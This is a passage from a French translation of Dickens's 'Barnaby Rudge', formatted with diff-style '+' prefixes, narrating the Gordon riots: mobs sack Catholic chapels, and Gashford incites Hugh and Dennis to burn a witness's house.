+-- Ce n'est pas cet ami de maître Gashford dont il nous parlait
+chez moi, hein? dit Dennis, bouillant de plaisir et d'impatience.
+
+-- Justement, c'est lui-même.
+
+-- Ah! que c'est bien votre affaire! cria M. Dennis en lui donnant
+une poignée de main; à la bonne heure! Vengeons-nous, tue,
+assomme, et cela marchera deux fois plus vite. Eh bien après?
+contez-moi cela.
+
+-- Ha! ha! ha! Le capitaine, ajouta Hugh, a envie de profiter de
+cela pour enlever une femme dans la bagarre, et... Ha! ha! ha!...
+moi aussi.»
+
+M. Dennis fit la grimace à cette partie de plan qu'on lui
+communiquait; en principe général, il ne voulait pas entendre
+parler de femmes. C'étaient des créatures si peu sûres et si
+glissantes, qu'il n'y avait pas à y faire le moindre fond, et
+qu'on ne les trouvait jamais du même avis, vingt-quatre heures
+durant. Il en avait encore bien plus long à dire là-dessus; mais
+il préféra demander à Hugh le rapport qu'il pouvait y avoir entre
+l'expédition proposée et la faction de Barnabé, posé en sentinelle
+à la porte de l'écurie. Voici ce que son camarade lui répondit
+avec mystère:
+
+«Voyez-vous, les gens à qui nous avons envie de rendre visite
+étaient de ses amis, il n'y a pas bien longtemps, et, du caractère
+que je lui connais, je suis sûr et certain que, s'il croyait que
+nous allions leur faire du mal, bien loin de nous aider, il se
+tournerait contre nous. C'est pour cela que je lui ai persuadé (je
+le connais de longue main) que lord Georges l'a choisi de
+préférence pour garder ici la place demain en notre absence, et
+que c'est un grand honneur pour lui. Voilà pourquoi il monte en ce
+moment la garde, fier comme un Artaban. Ha! ha! Qu'en dites-vous?
+Si je suis un démon, je ne suis toujours pas un étourdi.»
+
+M. Dennis se confondit en compliments et ajouta:
+
+«Mais pour ce qui concerne l'expédition elle-même?
+
+-- Quant à ça, dit Hugh, vous en connaîtrez tous les détails de la
+bouche du grand capitaine, et de la mienne, ensemble ou
+séparément; car justement le voilà qui s'éveille. Allons! sus!
+Coeur de Lion! Ha! ha! Bon courage, et buvez encore un petit coup.
+Encore du poil de la chienne qui vous a mordu, capitaine! Demandez
+à boire au garçon. J'ai là sous mon lit assez de tasses et de
+chandeliers d'or et d'argent pour payer votre écot, capitaine,
+quand vous boiriez le vin à tonneaux.» Et en même temps,
+dérangeant la paille, il montrait une place où la terre avait été
+fraîchement remuée.
+
+M. Tappertit reçut de très mauvaise grâce ces encouragements
+joyeux; deux nuits de ribote ne l'avaient pas accommodé: son
+esprit n'était guère moins fatigué que son corps, qui ne pouvait
+seulement pas se tenir sur ses jambes. Cependant avec l'assistance
+de Hugh il parvint à gagner, en chancelant, la pompe où il se
+rafraîchit la gorge d'un bon verre d'eau fraîche, et la tête et la
+figure d'une bonne douche de liquide à la glace, avant de
+commander un grog au lait et au rhum. Grâce à cet innocent
+breuvage, accompagné de biscuits et de fromage, il se réconforta
+l'âme. Cela fait, il se mit à son aise, par terre entre ses deux
+compagnons, qui ne s'étaient pas épargnés à boire de leur côté et,
+se mit en devoir d'éclairer M. Dennis sur les détails du projet
+annoncé pour le lendemain.
+
+Leur conversation fut assez longue et leur attention assez
+soutenue pour qu'on pût voir l'intérêt manifeste qu'ils prenaient
+au sujet. Il fallait aussi qu'il ne fût pas toujours d'un
+caractère bien attristant, ou qu'il fût du moins enjolivé par des
+scènes plaisantes, car ils riaient souvent à gorge déployée,
+jusqu'à faire sauter Barnabé sous les armes, tout scandalisé de
+leur légèreté. Cependant ils ne l'inviteront pas à venir les
+rejoindre, avant qu'ils eussent bien bu, bien mangé et fait un bon
+somme pendant plusieurs heures: c'est-à-dire pas avant le
+crépuscule. Ils l'informèrent alors qu'ils allaient faire une
+petite démonstration dans les rues, seulement pour unir les gens
+en éveil, parce que c'était dimanche soir, et qu'il fallait bien
+au public un peu de divertissement; qu'il était libre de les
+accompagner s'il voulait.
+
+Sans autres préparatifs, si ce n'est qu'ils emportèrent des
+gourdins et mirent à leur chapeau une cocarde bleue, ils
+commencèrent à battre les rues; et, sans autre dessein prémédité
+que de faire tout le mal qu'ils pourraient, ils les parcoururent
+au hasard. Bientôt leur nombre s'étant accru, ils se divisèrent en
+deux bandes, et, après s'être donné rendez-vous dans les champs
+voisins de Welbeck-Street, ils traversèrent la ville dans toutes
+les directions. Le corps le plus considérable, celui qui
+s'augmenta avec la plus grande rapidité, était celui dont Hugh et
+Barnabé faisaient partie. Celui-là prit son chemin du côté de
+Moorfield, où il y avait une riche chapelle à l'usage de quelques
+familles catholiques bien connues qui habitaient dans le
+voisinage.
+
+Pour commencer, ils s'attaquèrent aux résidences de ces familles,
+dont ils brisèrent les portes et les fenêtres. Ils détruisirent le
+mobilier, ne laissant que les quatre murs, emportant avec soin,
+pour leur usage, tous les outils et les engins de destruction
+qu'ils rencontrèrent, tels que marteaux, fourgons, haches, soies,
+et autres instruments de ce genre. Un grand nombre d'émeutiers les
+passaient dans des ceinturons qu'ils se faisaient avec une corde,
+un mouchoir, ou tout ce qu'ils trouvaient de bon pour cela sous
+leurs mains; et ils portaient ces armes improvisées aussi
+ostensiblement qu'un sapeur du génie qui va déblayer le champ de
+bataille. Pas le moindre déguisement, pas la moindre
+dissimulation, et même, ce soir-là, très peu d'excitation et de
+désordre. Dans les chapelles, ils arrachèrent et emportèrent
+jusqu'à la pierre de l'autel, les bancs, les chaires, les chaises,
+les dalles mêmes; dans les maisons particulières, ils mirent en
+pièces jusqu'aux lambris et jusqu'aux escaliers. Cette petite fête
+du dimanche fut par eux accomplie comme une tâche qu'ils s'étaient
+donnée et qu'ils voulaient faire en conscience. Il n'aurait pas
+fallu cinquante hommes bien résolus pour leur faire tourner le
+dos. Une simple compagnie de soldats les aurait dispersés comme la
+paille au vent; mais il n'y avait personne pour les empêcher, pas
+d'autorité pour les réprimer, ou, pour mieux dire, n'était la
+terreur des victimes qui fuyaient à leur approche, personne ne
+faisait à eux plus d'attention que si c'étaient des ouvriers à la
+tâche, faisant leur travail régulier et légal avec beaucoup de
+décence et de tenue.
+
+Ils marchèrent de même, avec ordre, au lieu du rendez-vous,
+allumèrent de grands feux dans les champs, et, gardant seulement
+ce qu'il y avait de plus précieux dans leur butin, ils brûlèrent
+le reste. Les ornements sacerdotaux, les images des saints, de
+riches étoffes et de belles broderies, la garniture de l'autel et
+le trésor de la sacristie, tout devint la proie des flammes, qui
+bientôt éclairèrent le pays alentour. Pendant ce temps-là ils
+dansaient, ils hurlaient, ils vociféraient autour de ces feux
+jusqu'à s'en rendre malades, sans être un seul moment troublés par
+personne dans ces exercices édifiants.
+
+Quand l'attroupement quitta le théâtre du désordre et enfila
+Welbeck-Street, ils rencontrèrent Gashford, qui avait été témoin
+de toute leur conduite, et marchait d'un pas furtif le long du
+trottoir. Arrivé à sa hauteur, Hugh, marchant de front avec lui,
+sans avoir l'air de le connaître ni de lui parler, lui glissa ces
+mots dans l'oreille:
+
+«Eh bien! maître, est-ce mieux?
+
+-- Non, dit Gashford, c'est toujours la même chose.
+
+-- Qu'est-ce que vous demandez donc? dit Hugh. La fièvre ne
+commence pas par son paroxysme; elle va pas à pas.
+
+-- Ce que je demande, dit Gashford en lui pinçant le bras de
+manière à lui laisser imprimée dans la chair la marque de ses
+ongles, ce que je demande, c'est que vous mettiez quelque méthode
+dans votre besogne, imbéciles que vous êtes! Vous ne pouvez pas
+nous faire d'autres feux de Saint-Jean qu'avec des planches ou des
+chiffons de papier? Vous n'êtes pas seulement en état de nous
+faire tout de suite un incendie en grand?
+
+-- Un peu de patience, notre maître! dit Hugh. Je ne vous demande
+que quelques heures et vous verrez; vous n'aurez qu'à regarder le
+ciel demain soir, si vous voulez voir une aurore boréale.»
+
+Là-dessus il recula d'un pas, pour reprendre son rang près de
+Barnabé, et, quand le secrétaire porta sur lui les yeux, ils
+avaient déjà l'un et l'autre disparu dans la foule.
+
+
+
+
+CHAPITRE XI
+
+
+Le jour du lendemain fut annoncé au monde par de joyeux carillons
+et par des coups de canon tirés à la Tour. On hissa des drapeaux
+sur un grand nombre de flèches des clochers de la ville. En un
+mot, on accomplit toutes les cérémonies d'usage en l'honneur du
+jour anniversaire de la naissance du roi, et chacun s'en alla
+vaquer à ses plaisirs ou à ses affaires, comme si Londres était
+dans un ordre parfait, et qu'il n'y eût pas encore dans quelques-
+uns de ses quartiers des cendres chaudes qui allaient se rallumer
+aux approches de la nuit pour répandre au loin la désolation et la
+ruine.
+
+Les chefs de l'émeute, rendus plus audacieux encore par leurs
+succès de la nuit dernière et par le butin qu'ils avaient conquis,
+retenaient fermement unies les masses de leurs partisans, et ne
+songeaient qu'à les compromettre assez pour n'avoir plus à
+craindre que l'espoir de leur pardon ou de quelque récompense ne
+leur donnât la tentation de trahir et de livrer entre les mains de
+la justice les ligueurs les plus connus.
+
+Il est sûr que la crainte de s'être trop avancés pour pouvoir
+désormais obtenir leur pardon retenait les plus timides sous leurs
+drapeaux non moins que les plus braves. Beaucoup d'entre eux, qui
+n'auraient pas fait difficulté de dénoncer les chefs et de se
+porter témoins contre eux en justice, sentaient qu'ils ne
+pouvaient espérer leur salut de ce côté, parce que leurs propres
+actes avaient été observés par des milliers de gens qui n'avaient
+pas pris part aux troubles; qui avaient souffert dans leurs
+personnes, leur tranquillité, leurs biens, des outrages de la
+populace; qui ne demanderaient pas mieux que de porter témoignage,
+et dont le gouvernement du roi préférerait sans doute les
+déclarations à celles de tous autres. Dans cette catégorie se
+trouvaient beaucoup d'artisans qui avaient laissé là leurs travaux
+le samedi matin; il y en avait même que leurs patrons avaient
+revus prenant une part active au tumulte: d'autres se savaient
+soupçonnés, et n'ignoraient pas que, s'ils revenaient dans leurs
+ateliers, ils seraient remerciés sur-le-champ. D'autres enfin
+avaient agi en désespérés dès le commencement, et se consolaient
+avec ce proverbe populaire qui dit que, pendu pour pendu, autant
+vaut l'être pour un mouton que pour un agneau. Tous d'ailleurs
+espéraient et croyaient fermement que le gouvernement, qu'ils
+semblaient avoir paralysé, finirait, dans son épouvante, par
+compter avec eux et par accepter leurs conditions. Les plus
+raisonnables se disaient qu'au pis-aller ils étaient trop nombreux
+pour qu'on pût les punir tous, et chacun aimait à croire qu'il
+avait autant de chances d'échapper au châtiment que personne.
+Quant à la masse, elle ne raisonnait pas et ne pensait à rien,
+obéissant seulement à ses passions impétueuses, aux instincts de
+la pauvreté, de l'ignorance, à l'amour du mal, à l'espérance du
+vol et du pillage.
+
+Il est encore à remarquer que, à partir du moment de leur première
+explosion à Westminster, tout symptôme d'ordre arrêté d'avance ou
+de plan concerté entre eux avait disparu. Quand ils se divisaient
+par bandes pour courir dans les différents quartiers de la ville,
+c'était d'après une inspiration soudaine et spontanée. Chacune
+d'elles se grossissait sur son chemin, comme les rivières à mesure
+qu'elles coulent vers la mer; chaque fois qu'il leur fallait un
+chef, il s'en présentait un, qui disparaissait sitôt que l'on n'en
+avait plus besoin, pour reparaître encore à la première nécessité.
+Le tumulte prenait chaque fois une forme nouvelle et inattendue,
+selon les circonstances du moment: on voyait de braves ouvriers
+retournant chez eux, après une journée de travail, jeter là leurs
+outils pour se mêler activement à l'émeute, en un instant; des
+saute-ruisseaux en faisaient autant, laissant là les commissions
+dont ils étaient chargés en ville. En un mot, c'était comme une
+peste morale qui était tombée sur Londres. Le bruit, le tumulte,
+l'agitation, avaient pour eux un attrait irrésistible qui les
+séduisait par centaines. La contagion s'étendait comme le typhus.
+Le mal, encore à l'état d'incubation, infectait à chaque heure de
+nouvelles victimes, et la Société commençait à s'alarmer
+sérieusement de leurs fureurs.
+
+Il était à peu près deux ou trois heures après midi, lorsque
+Gashford vint dans le repaire que nous avons décrit au dernier
+chapitre, et, n'y trouvant que Dennis et Barnabé, s'informa de ce
+qu'était devenu Hugh.
+
+Il était sorti, à ce que lui dit Barnabé, il y avait bien une
+heure, et n'était pas encore revenu.
+
+«Dennis, dit le souriant secrétaire, de sa voix la plus
+doucereuse, en se tenant les jambes croisées sur un baril;
+Dennis!»
+
+Le bourreau, se réveillant en sursaut, se mit sur son séant, et le
+regarda les yeux tout grands ouverts.
+
+«Comment ça va-t-il, Dennis? dit Gashford, le saluant d'un signe
+de tête. J'espère que vous n'avez pas eu à vous plaindre de vos
+dernières expéditions, Dennis?
+
+-- Maître Gashford, répondit le bourreau, fixant sur lui les yeux,
+vous avez une manière si tranquille de vous dire les choses, qu'il
+y a de quoi faire sauter au plancher. Nom d'un chien, ajouta-t-il
+entre ses dents, sans détourner les yeux, et d'un air pensif; vous
+avez quelque chose de si rusé!
+
+-- De si distingué, vous voulez dire, Dennis.
+
+-- De si distingué, reprit l'autre en se grattant la tête,
+toujours sans quitter des yeux les traits du secrétaire, que,
+quand vous me parlez, je crois entendre chacun de vos mots jusque
+dans la moelle de mes os.
+
+-- Je suis charmé de vous voir l'ouïe si subtile, et je
+m'applaudis de savoir me rendre pour vous si intelligible, dit
+Gashford, de son ton uniforme et invariable. Où est votre ami?»
+
+M. Dennis se retourna comme s'il s'attendait à le trouver endormi
+sur son lit de paille; puis, se rappelant qu'il l'avait vu sortir:
+
+«Je ne peux pas vous dire, maître Gashford. Je croyais qu'il
+devait rentrer plus tôt que ça. J'espère que ce n'est pas encore
+le moment de nous mettre à la besogne, maître Gashford?
+
+-- Mais, dit le secrétaire, je vous le demande, comment voulez-
+vous que je vous dise ça, Dennis? Vous êtes parfaitement maître de
+vos actions, vous savez, et vous n'en devez compte à personne, si
+ce n'est à la justice de temps à autre, n'est-ce pas?»
+
+Dennis, tout dérouté par le sang-froid de manières et de langage
+de son patron, reprit pourtant son assiette en lui entendant faire
+cette allusion à sa profession, et lui montra Barnabé en secouant
+la tête et en fronçant le sourcil.
+
+«Chut! cria Barnabé.
+
+-- Ah! motus là-dessus, maître Gashford, dit le bourreau à voix
+basse. Les préjugés populaires... vous n'y pensez jamais... Eh
+bien! quoi, Barnabé? qu'est-ce qu'il y a? mon garçon.
+
+-- Je l'entends qui vient, répondit-il. Écoutez. Remarquez-vous
+ça? c'est son pied. N'ayez pas peur, je reconnais bien son pas, et
+celui de son chien aussi. Tramp, tramp, pitt, patt, c'est bien ça,
+ils s'en viennent tous les deux, et, tenez! Ha! ha! ha! ha! les
+voici.» Il criait joyeusement, saluant à deux mains la venue de
+son camarade, auquel il donna de petites tapes d'amitié sur le
+dos, comme si ce rude compagnon était le plus aimable des hommes.
+«Le voici, et il n'a pas de mal, encore! Je suis bien content de
+le voir revenu, ce vieux Hugh.
+
+-- Je veux être un renégat s'il ne me fait pas toujours un
+meilleur accueil que les gens raisonnables, dit Hugh en lui
+secouant la main avec une tendresse étrange, qui ressemblait à de
+la rage. Et vous, garçon, comment allez-vous?
+
+-- À merveille, cria Barnabé, ôtant son chapeau. Ha! ha! ha! Et la
+joie au coeur, Hugh. Et tout prêt à faire ce qu'on voudra pour la
+bonne cause et la justice, et à soutenir ce bon gentleman si doux
+et si blême, ce lord qu'ils ont maltraité; n'est-ce pas, Hugh?
+
+-- Oui,» répondit son ami, laissant aller sa main, et regardant un
+moment Gashford avec un changement d'expression notable avant de
+lui dire: «Bonjour, maître.
+
+-- Bonjour donc! répliqua le secrétaire en se caressant la jambe.
+Et puis encore bonjour et bonne année, accompagnés de beaucoup
+d'autres! Vous êtes échauffé.
+
+-- Ma foi, maître, vous le seriez bien autant que moi, dit-il en
+s'essuyant la figure, si vous étiez venu ici en courant aussi vite
+que moi.
+
+-- Alors vous savez les nouvelles? En effet, j'ai supposé que vous
+deviez les savoir.
+
+-- Les nouvelles? Quelles nouvelles?
+
+-- Quoi, vous ne savez pas? cria Gashford, relevant les sourcils
+avec une exclamation de surprise. Est-ce possible? Alors venez
+donc; c'est moi qui vais vous faire connaître votre honorable
+position, après tout. Voyez-vous là-haut les armes du roi? lui
+demanda-t-il d'un air souriant, en prenant dans sa poche un papier
+qu'il déploya sous les yeux de Hugh.
+
+-- Eh bien! qu'est-ce que ça me fait?
+
+-- Ça vous fait beaucoup, mais beaucoup; répliqua le secrétaire.
+Lisez-moi ça.
+
+-- Vous savez bien que, la première fois que je vous ai vu, je
+vous ai dit que je ne savais pas lire, dit Hugh d'un air
+d'impatience. Au nom du diable, qu'est-ce qu'il peut y avoir là
+dedans?
+
+-- C'est une proclamation émanée du roi en son conseil, dit
+Gashford: elle est datée d'aujourd'hui et promet une récompense de
+cinq cents guinées... Cinq cents guinées, c'est bien de l'argent
+et une grande tentation pour certaines gens... à quiconque
+dénoncera la personne ou les personnes qui ont pris la part la
+plus active aux démolitions de ces chapelles catholiques de samedi
+soir.
+
+-- Ce n'est que ça? cria Hugh d'un air indifférent. Je le savais
+déjà.
+
+-- J'aurais bien dû m'en douter, dit Gashford, souriant, et
+repliant le document. J'aurais dû deviner que votre ami vous
+l'avait dit.
+
+-- Mon ami? bégaya Hugh, faisant des efforts maladroits pour
+simuler la surprise. Quel ami?
+
+-- Tut, tut! croyez-vous que je ne sais pas d'où vous venez?
+repartit Gashford en se frottant les mains et se donnant de
+petites tapes du revers de l'une contre le creux de l'autre, avec
+un regard de fin renard. Vous me croyez donc bien bête? Voulez-
+vous que je vous dise son nom?
+
+-- Non pas, dit Hugh en jetant un coup d'oeil rapide du côté de
+Dennis.
+
+-- Il vous aura sans doute appris aussi, continua le secrétaire
+après une petite pause, que les émeutiers qui ont été pris (les
+pauvres diables!) sont traduits en justice, et qu'il y a déjà des
+témoins très actifs qui ont eu la témérité de comparaître à leur
+charge. Entre autres... et ici il serra les dents, comme pour
+étrangler quelques mots violents qui lui venaient sur le bout de
+la langue, et se mit à parler lentement... entre autres un
+gentleman qui a vu toute la scène à Warwick-Street, un gentleman
+catholique, un certain Haredale.»
+
+Hugh aurait voulu l'empêcher de prononcer ce nom; mais c'était
+déjà fait, et Barnabé, qui l'avait entendu, s'était retourné
+précipitamment.
+
+«À votre poste, à votre poste, brave Barnabé! cria Hugh, prenant
+son ton le plus brusque et le plus décidé, et lui mettant dans la
+main son drapeau appuyé contre la muraille. Montez la garde sans
+perdre de temps, car nous allons partir pour notre expédition.
+Allons, Dennis, levons-nous, et alerte! Brave Barnabé, vous aurez
+soin de ne laisser personne retourner ma paillasse: nous savons ce
+qu'il y a dessous, n'est-ce pas? À présent, maître, vivement! Si
+vous avez quelque chose à nous dire, faites tôt: car le petit
+capitaine, avec un détachement, est là dans les champs, qui
+n'attend plus que nous. Vite, des mots qui parlent et des coups
+qui portent!»
+
+L'attention de Barnabé ne tint pas contre le remue-ménage du
+départ. Le regard d'étonnement mêlé de colère qu'on avait pu voir
+dans ses traits, quand il s'était retourné tout à l'heure, s'était
+dissipé aussi rapidement que les mots étaient sortis de sa
+mémoire, comme l'haleine s'efface sur un miroir poli. Alors,
+empoignant l'arme que Hugh venait de lui fourrer dans la main, il
+alla monter fièrement sa faction à la porte, trop loin d'eux pour
+pouvoir les entendre.
+
+«Vous avez manqué de gâter tout, maître, lui dit Hugh. Oui, vous!
+N'est-ce pas drôle?
+
+-- Qui diable pouvait supposer qu'il eût l'oreille si subtile?
+répondit Gashford pour se justifier.
+
+-- Subtile! Ma foi, je ne parle pas de ses mains, vous les avez
+vues à l'oeuvre; mais il a quelquefois la tête même aussi subtile
+que vous et moi, dit Hugh. Dennis, nous devrions être partis. On
+nous attend; je suis venu vous le dire. Donnez-moi mon bâton et
+mon baudrier. Un petit coup de main, notre maître; passez-moi ça
+par-dessus l'épaule, et bouclez-le par derrière, s'il vous plaît.
+
+-- Leste comme toujours! dit le secrétaire en lui ajustant son
+fourniment.
+
+-- C'est qu'il faut être leste aujourd'hui. Nous avons à faire une
+besogne un peu leste.
+
+-- Est-ce vrai? est-ce vrai? dit Gashford avec un air si innocent,
+que l'autre, le regardant par-dessus l'épaule d'un air courroucé,
+lui répliqua:
+
+-- Est-ce vrai? Vous le savez bien, que c'est vrai. Comme si vous
+ne saviez pas mieux que personne que la première précaution à
+prendre c'est d'aller faire des exemples sur ces témoins-là pour
+faire peur aux autres, et leur apprendre à venir encore déposer
+contre nous et contre les membres de notre Association!
+
+-- Je connais quelqu'un, et vous aussi, reprit Gashford avec un
+sourire expressif, qui sait cela au moins aussi bien que vous et
+moi.
+
+-- Si le gentleman que je pense est le même que celui dont vous
+parlez, comme je le crois, reprit Hugh d'un ton radouci, il faut
+donc qu'il soit aussi bien informé de tout que (ici il s'arrêta
+pour regarder autour de lui, comme pour s'assurer que le gentleman
+en question n'était pas là)... que le diable en personne. Voilà
+tout ce que je peux dire. Voyons! est-ce tout, maître? Vous n'en
+finirez donc pas, ce soir?
+
+-- Eh bien! voilà qui est fini! dit Gashford, en se levant; à
+propos, je voulais encore vous dire... comme cela, vous n'avez pas
+trouvé que votre ami désapprouvât la petite expédition
+d'aujourd'hui? Ha! ha! ha! c'est heureux que cela se rencontre si
+bien avec la leçon à donner à M. le témoin; car je suis sûr qu'il
+n'a pas plus tôt entendu parler de votre projet qu'il a voulu le
+voir exécuter. Et à présent vous voilà partis, hein?
+
+-- À présent, nous voilà partis, maître. Vous n'avez pas un
+dernier mot à nous dire?
+
+-- Ah! ciel! mon Dieu non, dit Gashford avec une douceur
+charmante, pas le moindre.
+
+-- Bien sûr? cria Hugh en poussant du coude Dennis, qui riait dans
+sa barbe.
+
+-- Bien sûr, hein, maître Gashford?» dit le bourreau, toujours
+riant d'un rire étouffé.
+
+Gashford réfléchit un moment, indécis entre sa prudence et sa
+méchanceté. Puis, se plaçant entre eux deux, et leur posant à
+chacun une main sur l'épaule:
+
+«Mes amis, leur dit-il tout bas d'une voix crispée, n'oubliez
+pas... mais je suis sûr que vous vous en souviendrez... n'oubliez
+pas notre conversation de l'autre soir... chez vous, Dennis...
+vous savez sur qui: _Pas de merci, pas de quartier, ne laissez pas
+deux soliveaux de sa maison debout, à la place où les a mis le
+charpentier_. Le feu, comme on dit, est un bon serviteur, mais un
+mauvais maître. Que ce soit son maître; il n'en mérite pas
+d'autre. Mais je suis bien sûr que vous serez fermes, je suis bien
+sûr que vous serez résolus; je suis bien sûr que vous vous
+rappellerez qu'il a soif de votre sang et de celui de vos braves
+compagnons. Si vous avez jamais montré ce que vous savez faire,
+c'est aujourd'hui que vous allez le faire voir. N'est-ce pas,
+Dennis? n'est-ce pas Hugh?»
+
+Ils le regardèrent tous les deux, et s'entre-regardèrent après;
+alors ils se mirent à pousser un grand éclat de rire, brandirent
+leurs gourdins au-dessus de leurs têtes, lui donnèrent une poignée
+de main, et sortirent en courant.
+
+Gashford les laissa prendre un peu les devants, puis il les
+suivit. Il les vit à distance se diriger en toute hâte du côté des
+champs voisins, où leurs camarades étaient déjà rassemblés. Hugh
+regardait en arrière et faisait tourner son chapeau aux yeux de
+Barnabé, qui, charmé du poste de confiance qu'on lui avait laissé,
+répliquait de la même manière, et reprenait après sa promenade de
+long en large devant la porte de l'écurie, où déjà ses pieds
+avaient tracé un sentier. Et lorsque Gashford lui-même, déjà loin,
+se retourna pour la première fois, Barnabé était toujours là à se
+promener de long en large, du même pas cadencé. C'était bien le
+plus dévoué et le plus fier champion qui eût jamais été chargé de
+défendre un poste: jamais personne ne se sentit au coeur plus
+d'attachement à son devoir, ni plus de détermination pour le
+défendre jusqu'à la mort.
+
+Souriant de la simplicité de ce pauvre idiot, Gashford se rendit
+lui-même à Welbeck-Street par un chemin différent de celui que
+devaient suivre les émeutiers, et là, assis derrière un rideau à
+l'une des fenêtres du premier étage de la maison de lord Georges
+Gordon, il attendit avec impatience leur passage. Ils y mirent
+tant de temps que, malgré la certitude qu'il avait que c'était
+bien par là qu'ils étaient convenus de passer, il eut un moment
+l'idée qu'ils avaient dû changer leurs plans et leur itinéraire. À
+la fin pourtant le bruit confus des voix se fit entendre dans les
+champs voisins, et bientôt après ils défilèrent en foule, formant
+une troupe nombreuse.
+
+Cependant ils étaient loin d'être tous là, comme on s'en aperçut
+bientôt, quand ils vinrent divisés en quatre sections, qui
+s'arrêtèrent l'une après l'autre devant la maison, pour pousser
+trois salves de hourras, et passèrent ensuite leur chemin, après
+que les chefs qui les conduisaient eurent crié tout haut où ils
+allaient, en invitant les spectateurs à se joindre à eux. Le
+premier détachement, portant en bannières quelques restes du
+pillage qu'ils avaient consommé à Moorfield, proclama qu'ils
+étaient en route pour Chelsea, d'où ils reviendraient dans le même
+ordre, pour faire tout près de là un feu de joie des dépouilles
+qu'ils en rapporteraient. Le second déclara qu'ils allaient à
+East-Smithfield, pour le même objet. Tout cela se faisait en plein
+soleil et au grand jour. De beaux équipages ou des chaises à
+porteurs s'arrêtaient pour les laisser passer, ou s'en
+retournaient sur leurs pas, pour éviter leur rencontre; les
+piétons se rangeaient dans l'encoignure d'une allée ou demandaient
+aux locataires la permission de se tenir à une croisée ou dans le
+vestibule, en attendant que l'émeute fût passée: mais personne
+n'intervenait, et, sitôt que le flot était écoulé, chacun
+reprenait son trantran ordinaire.
+
+Restait encore la quatrième division, et c'était celle que le
+secrétaire attendait avec le plus d'impatience. Enfin la voilà qui
+s'avance! Elle était nombreuse et composée d'hommes de choix:
+car, en cherchant à les reconnaître, il vit parmi eux bien des
+figures qui ne lui étaient pas inconnues, et, en tête
+naturellement, celles de Simon Tappertit, Hugh et Dennis. Ils
+firent halte, comme les autres, pour pousser leurs hourras; mais,
+quand ils se remirent en marche, ils ne proclamèrent pas, comme
+eux, le but qu'ils se proposaient. Hugh se contenta de lever son
+chapeau au bout de son gourdin, et partit après avoir jeté un coup
+d'oeil à un gentleman qui était là en spectateur, de l'autre côté
+de la rue.
+
+Gashford suivit, par instinct, la direction de ce coup d'oeil, et
+vit, debout sur le trottoir, avec une cocarde bleue, sir John
+Chester, qui leva son chapeau à quelques lignes au-dessus de sa
+tête pour faire honneur à l'émeute, et s'appuya ensuite avec grâce
+sur sa canne, souriant de la manière la plus agréable, déployant
+sa toilette et sa personne tout à fait à leur avantage, et surtout
+ayant l'air d'une tranquillité inimaginable. Cela n'empêcha pas,
+malgré toute son habileté, que Gashford ne le vit bien faire un
+signe de protection à Hugh, pour le reconnaître en passant: car le
+secrétaire, oubliant la foule, n'eut plus d'yeux que pour sir
+John.
+
+Celui-ci resta à la même place et dans la même attitude, jusqu'au
+moment où le dernier homme de la foule eut tourné le coin de la
+rue. Alors il prit sans hésiter son chapeau, dont il détacha la
+cocarde, et la remit soigneusement dans sa poche pour la prochaine
+occasion. Il se rafraîchit avec une prise de tabac, ferma sa
+tabatière, et se remit en marche tout doucement. Au même instant
+passait une voiture qui s'arrêta, une main de dame fit tomber la
+glace, et sir John s'avança aussitôt, le chapeau à la main. Au
+bout d'une minute ou deux de conversation à la portière,
+évidemment au sujet de l'émeute, il monta légèrement dans la
+voiture, qui l'emmena.
+
+Le secrétaire sourit; mais il avait des sujets plus sérieux en
+tête, et ne songea pas longtemps à celui-là. On lui apporta son
+dîner, mais il le fit redescendre sans y toucher. Il passa quatre
+mortelles heures à se promener de long en large dans sa chambre,
+sans fin et sans repos, à regarder toujours à la pendule, à faire
+d'inutiles efforts pour s'asseoir et lire, ou à se jeter sur son
+lit, ou à regarder par la fenêtre. Quand il vit au cadran que le
+temps marqué était venu, il monta d'un pas furtif jusqu'au haut de
+la maison, passa sur la nuit en attique, et s'assit, le visage
+tourné vers l'est.
+
+Il ne s'inquiétait guère ni de la fraîcheur de l'air, qui
+saisissait son front échauffé en venant des prairies voisines, ni
+des masses de toits et de cheminées qu'il avait sous les yeux, ni
+de la fumée et du brouillard dont il cherchait à percer les
+nuages, ni des cris perçants des enfants dans leurs jeux du soir,
+ni du bruit ni du tumulte bourdonnant de Londres, ni du gai
+souffle qui accourait de la campagne pour se perdre et s'éteindre
+dans le brouhaha de la grande ville. Non; il regardait... il
+regardait toujours autre chose jusque dans l'obscurité de la nuit,
+tachetée seulement çà et là de quelques jets de lumière le long
+des rues, à distance; et plus l'obscurité augmentait, plus
+augmentaient aussi son attention et son inquiétude.
+
+«Rien que du noir, non plus, dans cette direction, murmurait-il
+tout bas incessamment. L'animal! où donc est cette aurore boréale
+qu'il m'avait promis de me faire voir ce soir dans le ciel?»
+
+
+
+
+CHAPITRE XII.
+
+
+Pendant ce temps-là, le bruit des troubles de la ville avait déjà
+circulé joliment dans les bourgs et les villages des environs de
+Londres, et, chaque fois qu'il arrivait des nouvelles fraîches,
+elles étaient sûres d'être accueillies avec cet appétit pour le
+merveilleux et cet amour du terrible, qui sont, probablement
+depuis la commencement du monde, un des attributs caractéristiques
+de l'espèce humaine. Cependant ces rumeurs, aux yeux de certaines
+personnes de ce temps, comme elles le seraient aux nôtres mêmes,
+si les faits aujourd'hui n'étaient pas acquis à l'histoire,
+semblaient si monstrueuses et si invraisemblables, qu'un grand
+nombre des gens qui habitaient loin de là, quelque crédules qu'ils
+pussent être d'ailleurs, ne pouvaient réellement se mettre dans
+l'esprit que la chose fût possible, et repoussaient les
+renseignements qu'ils recevaient de toutes mains, comme de pures
+fables et des fables absurdes.
+
+M. Willet, bien décidé à n'en rien croire, d'après des
+raisonnements infaillibles à lui connus, et d'une obstination
+constitutionnelle dont nous avons déjà eu des preuves, était un de
+ceux qui refusaient positivement la conversation sur un sujet si
+ridicule, selon eux. Ce soir-là même, et peut-être bien au moment
+où Gashford était en vedette sur les toits, le vieux John avait la
+face si rouge, à force de branler la tête pour contredire ses
+trois anciens camarades de bouteille, que c'était un vrai
+phénomène, et qu'on aurait payé sa place pour voir ce visage
+rubicond, sous le porche du Maypole où ils étaient assis tous
+quatre, briller comme les escarboucles-monstres qu'on rencontre
+dans les contes de fées.
+
+«Croyez-vous, monsieur, dit M. Willet, regardant fixement Salomon
+Daisy (car c'était son habitude, toutes les fois qu'il avait une
+altercation personnelle, de s'en prendre au plus faible de la
+bande), croyez-vous, monsieur, que je sois un imbécile de
+naissance?
+
+-- Non, non, Jeannot, répondit Salomon, regardant à la ronde le
+petit cercle dont il faisait partie. Nous ne sommes pas assez
+bêtes pour croire cela. Vous n'êtes pas un imbécile, Jeannot; que
+non, que non!»
+
